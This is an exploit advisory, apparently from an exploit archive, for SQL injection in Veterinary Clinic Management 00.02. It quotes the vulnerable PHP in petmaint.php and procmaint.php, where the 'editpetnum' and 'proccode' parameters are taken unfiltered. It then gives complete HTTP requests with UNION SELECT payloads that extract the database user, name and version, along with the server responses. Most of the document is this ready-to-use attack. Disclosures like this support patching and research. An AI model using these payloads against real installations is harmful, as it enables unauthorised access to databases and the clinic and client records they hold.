# Exploit Title: Veterinary Clinic Management 00.02 - 'editpetnum' SQL Injection # Dork: N/A # Date: 2018-10-25 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://vetclinic.sourceforge.io/ # Software Link: https://sourceforge.net/projects/vetclinic/files/latest/download # Version: 00.02 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/petmaint.php?editpetnum=[SQL] # # [PATH]/petmaint.php # .... #154 $editpetnum = ""; #155 #156 if(isset($_POST["editpetnum"])) { #157 $editpetnum = $_POST["editpetnum"]; #158 unset($_POST["editpetnum"]); #159 } #160 else if(isset($_GET["editpetnum"])) { #161 $editpetnum = $_GET["editpetnum"]; #162 unset($_GET["editpetnum"]); #163 } # .... GET /[PATH]/petmaint.php?editpetnum=-0x496873616e2053656e63616e+UniOn++SeLect++0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2cCONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+Efe HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 25 Oct 2018 22:18:01 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/procmaint.php?proccode=[SQL] # # [PATH]/procmaint.php # .... #28 require_once "includes/common.inc"; #29 $emplnumber = $_SESSION['employeenumber']; #30 $display = "ProcMaint:".$emplnumber; #31 if(isset($_GET["proccode"])) { #32 $proccode = $_GET["proccode"]; #33 } else { #34 $proccode = ""; #35 } #36 if ($proccode == "") #37 { # .... GET /[PATH]/procmaint.php?proccode=%27%27%27%27+unioN+selECt++nuLL,nuLL,nuLL,conCAT(0x496873616e2053656e63616e),nuLL--+Efe HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3 Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 25 Oct 2018 22:22:33 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2697 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8